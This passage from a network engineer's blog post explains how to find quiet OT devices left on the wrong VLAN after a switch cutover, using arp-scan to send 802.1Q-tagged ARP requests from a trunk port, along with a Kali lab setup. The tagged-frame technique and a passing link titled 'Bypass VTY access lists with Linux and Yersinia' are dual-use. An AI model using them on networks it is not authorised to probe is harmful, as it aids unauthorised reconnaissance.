  20   172.16.21.96       cc72.0fff.f6a5    DYNAMIC    Gi2/0/27    Viscount
--------------------------------------------------------------------------------
  20   172.16.25.96       0024.7900.095b    DYNAMIC    Gi2/0/30    OptecDis
--------------------------------------------------------------------------------


For this example, I have trimmed the list so it only shows devices that I know are static IP devices like Pronet which is a serial to IP device server, Sony, which in this case is a Surveillance camera, Digiboard which is a serial to IP console server, etc.  These are all devices that are critical to the company's operation and I want to make sure they work after the cut over. 
The macaddr.py script also creates a section with just the IP address and MAC address. Here is a snippet of it:

Device Name: Test.MDF
PingInfo Data
172.16.16.9 0020.4adb.3e21
172.16.26.94 54ee.7505.86b5


I take that information and save it to a text file named PingInfo-xxx, where xxx is something meaningful for the site. I use the text file with a free program PingInfoView from www.nirsoft.net to create a dashboard of live ping results. Below is an example of a PingInfo dashboard. PingInfo is Windows only!


PingInfoView continuously pings the addresses and any address that stops responding turns red. Obviously, we want all addresses to be green after the cut over!

After the cut over

The PingInfo dashboard should be all green. But what do you do if one of the static ip devices isn't live in the dashboard? Since many of these devices are Operational Technology (OT) versus IT they seldom send any traffic onto the network so immediately after a cut over the port they are connected to won't have a MAC address. If it got connected to a port on the wrong vlan you won't be able to ping it to populate the MAC address table.

There is a Linux tool called arp-scan by Roy Hill that you can use to send arp requests to a device. It can also send arp requests with an 802.1q vlan tag. This is the key to finding the lost device.


How to use arp-scan

 

Here is the network diagram for our example:



In my lab, I used a Kali VM to simulate an OT device. At a real customer site, you obviously wouldn't know what port the device is connected to.

First, you will need to install arp-scan on the Ubuntu box:

sudo apt install arp-scan

You can use arp-scan --help to see all of the options for arp-scan. It has a lot of uses, if you Google arp-scan examples, you will find a lot of good ones. I wrote a pyhton script that uses arp-scan to find open IP addresses on a subnet. It's useful when you need to connect to a subnet that doesn't have DHCP but you don't want to cause an IP address conflict. You can download it here.

To use arp-scan in our case, we need to know the interface on the Ubuntu box, the MAC address of the device (Destination MAC), the vlan ID of the switch port and the ip network the device is on. 

For the vlan ID, we select one from the vlans configured on the switch. You can use show vlan brief to see a list of vlans assigned to ports. If the switch has a lot of vlans defined you may have to run the command several times, iterating through different vlans.

In this example:

Linux interface - enp2s0f1
vlan ID - 46 (10.112.46.0/23)
Device MAC – 00:90:9e:9a:b5:3d
Device IP – 10.112.100.1
Device Subnet - 10.112.100.0/24

As you can see in the diagram, the simulated device is on port g1/0/48 which is configured as an access port on vlan 46. The Linux box with arp-scan is on a trunk port. The requirement here is that the trunk can pass vlan tags on vlan 46. 

It doesn't matter if the trunk has a native vlan with DHCP. Security best practices dictates that the native vlan nk on a trunk be an unused vlan. For our purposes, we don’t care if the interface has an IP address since we are using arp. You will see in the output that the IP address on the interface isn’t set.

Interface configuration for the Ubuntu laptop


sh run int g1/0/47
interface GigabitEthernet1/0/47
 switchport trunk encapsulation dot1q
 switchport mode trunk
end

On theUbuntu laptop connected to port g1/0/47

ip addr show enp2s0f1
 
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

You can see that it doesn't have an IP address.

Interface configuration for the simulated device

sh run int g1/0/48
interface GigabitEthernet1/0/48
 switchport access vlan 46
 switchport mode access
end


SVI Interfaces


sh run int vl 46
interface Vlan46
 ip address 10.112.47.254 255.255.254.0
 ip helper-address 192.168.10.221
  no ip redirects
end

sh run int vl 100
interface Vlan100
 ip address 10.112.100.254 255.255.255.0
 ip helper-address 192.168.10.221
 no ip redirects
end


Run arp-scan

sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.

Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1    00:90:9e:9a:b5:3d    Critical IO, LLC (802.1Q VLAN=46)


1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded

You can see that arp-scan found the device by mac address and the device replied with its IP address.

Here is what it looked like in Wireshark on the Ubuntu box:


You can see that arp-scan sent 802.1q tag 46 even though I hadn't configured a subinterface on the Ubuntu box. I have a blog showing how to configure Ubuntu to use vlan tags. Here is a link to the blog - Bypass VTY access lists with Linux and Yersinia

Now on the switch, look for the mac address. 

sh mac add | i 0090.9e9a.b53d   
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48

You can either move the device to the correct port or reconfigure the port for the correct vlan. If the customer allows it, I like to label this type of device's switch port like this:

des < BACnet 10.112.100.1 0090.9e9a.b53d>

That gives me the MAC and IP for future troubleshooting. 



Let's set up a lab to learn how to use arp-scan.


It's a simple setup, but there are few gotcha's if you are new to Linux or arp-scan. You will need a Linux machine, physical or virtual, and a Kali Linux virtual machine. The Kali VM will simulate our OT device because it is designed to be quiet on the network. The kali motto is "The quieter you are, the more you can hear".

We will use the same network layout as above so you can refer to that diagram.


On the Kali VM

Configure Kali with a static ip address. In this example:

10.112.100.1/24
255.255.255.0
NO GATEWAY
- If you assign a gateway the Kali box will send ARP requests to the gateway and populate the switch's mac address table.

Connect the Kali VM to switch port g1/0/48
Check to see if the Kali box sent traffic that caused the switch to record it's MAC address:

sh mac add int g1/0/48                                               
          Mac Address Table                                                    
-------------------------------------------                                    
                                                                               
Vlan    Mac Address       Type        Ports                                    
----    -----------       --------    -----                                    
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48                                 
Total Mac Addresses for this criterion: 1               


Kali did send some traffic and that populated the mac address table. For our purposes, we need to make sure the Kali box isn't sending any traffic. Normally, you do not want your pen test box to send traffic you didn't explicitly request. That is why Kali has DHCP and other services disabled by default. 


In this case, I had been using DHCP before switching to static so the dhclient service was still running.

On Kali run

ps -ef | grep dh
root      2500  2125  0 13:18 pts/0    00:00:00 dhclient -v

If you see the dhclient service, then run
dhclient -r


to stop the service. If you don't stop it, the dhclient service will do a discover which will populate the MAC-address table on the switch and invalidates the test we are about to try.


Next, run the following to clear the mac address on the switch port. Sometimes you need to run it a few times before the address is cleared.

clear mac address-table dynamic interface g1/0/48


Finally, you should see an empty mac table for interface g1/0/48

sh mac add int g1/0/48                        
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----

Try to ping the device

ping 10.112.100.1

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.112.100.1, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)

Connect your laptop to port 1/0/47. I run the lldpd daemon (sudo apt install lldpd) so I can verify that the laptop is connected using the following.

sh lldp ne
Capability codes:
    (R) Router, (B) Bridge, (T) Telephone, (C) DOCSIS Cable Device
    (W) WLAN Access Point, (P) Repeater, (S) Station, (O) Other

Device ID           Local Intf     Hold-time  Capability      Port ID
PROCURVE J9450A     Gi1/1/4        120        B               2
1S1K-SYS76          Gi1/0/47       120        B,W,R           80fa.5b31.de85

Total entries displayed: 2


Look at the interface that the laptop is connected to:


sh run int g1/0/47

interface GigabitEthernet1/0/47
 switchport trunk encapsulation dot1q
 switchport mode trunk
end


Look at the interface on the laptop after it's connected to the switch


ip addr show enp2s0f1 
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

You can see that the interface is UP/UP but doesn't have an IP address.


Look at the SVIs


sh run int vl 46

interface Vlan46
 ip address 10.112.47.254 255.255.254.0
 ip helper-address 192.168.10.221
 no ip redirects
end


sh run int vl 100

interface Vlan100
 ip address 10.112.100.254 255.255.255.0
 ip helper-address 192.168.10.221
 no ip redirects
end

Now we are ready to run arp-scan and find the device:

sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1    00:90:9e:9a:b5:3d    Critical IO, LLC (802.1Q VLAN=46)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded



Verify that the mac-address table on the switch has been updated


sh mac add | i 0090.9e9a.b53d   
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48